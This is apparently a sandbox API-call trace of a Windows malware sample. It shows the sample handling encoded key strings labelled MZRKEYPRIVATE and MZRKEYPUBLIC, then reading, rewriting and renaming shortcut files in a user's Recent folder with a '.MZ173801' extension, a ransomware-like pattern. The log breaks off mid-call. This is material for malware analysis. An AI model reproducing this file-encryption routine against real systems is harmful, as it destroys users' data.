lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0151.486] GetCurrentThreadId () returned 0xab4 [0151.486] GetCurrentThreadId () returned 0xab4 [0151.486] GetCurrentThreadId () returned 0xab4 [0151.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0151.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0151.487] GetCurrentThreadId () returned 0xab4 [0151.487] GetCurrentThreadId () returned 0xab4 [0151.487] GetCurrentThreadId () returned 0xab4 [0151.487] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q3G nDiy4yr.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\q3g ndiy4yr.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.488] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0151.488] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.488] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x493 [0151.488] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.488] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x493, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x493, lpOverlapped=0x0) returned 1 [0151.489] CloseHandle (hObject=0x280) returned 1 [0151.489] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q3G nDiy4yr.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\q3g ndiy4yr.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.490] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x493, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x493, lpOverlapped=0x0) returned 1 [0151.491] CloseHandle (hObject=0x280) returned 1 [0151.492] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q3G nDiy4yr.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\q3g ndiy4yr.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q3G nDiy4yr.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\q3g ndiy4yr.lnk.mz173801")) returned 1 [0151.493] GetCurrentThreadId () returned 0xab4 [0151.493] GetCurrentThreadId () returned 0xab4 [0151.493] GetCurrentThreadId () returned 0xab4 [0151.493] GetCurrentThreadId () returned 0xab4 [0151.493] GetCurrentThreadId () returned 0xab4 [0151.493] GetCurrentThreadId () returned 0xab4 [0151.493] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43da4c8c, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x43da4c8c, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x43da4c8c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x457, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="qGswZi1Gyw _CPZuF.lnk", cAlternateFileName="QGSWZI~1.LNK")) returned 1 [0151.493] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0151.493] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0151.493] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qGswZi1Gyw _CPZuF.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qgswzi1gyw _cpzuf.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43da4c8c, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x43da4c8c, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x43da4c8c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x457)) returned 1 [0151.493] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qGswZi1Gyw _CPZuF.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qgswzi1gyw _cpzuf.lnk")) returned 0x20 [0151.493] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qGswZi1Gyw _CPZuF.lnk", dwFileAttributes=0x80) returned 1 [0151.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0151.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0151.496] GetCurrentThreadId () returned 0xab4 [0151.496] GetCurrentThreadId () returned 0xab4 [0151.496] GetCurrentThreadId () returned 0xab4 [0151.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 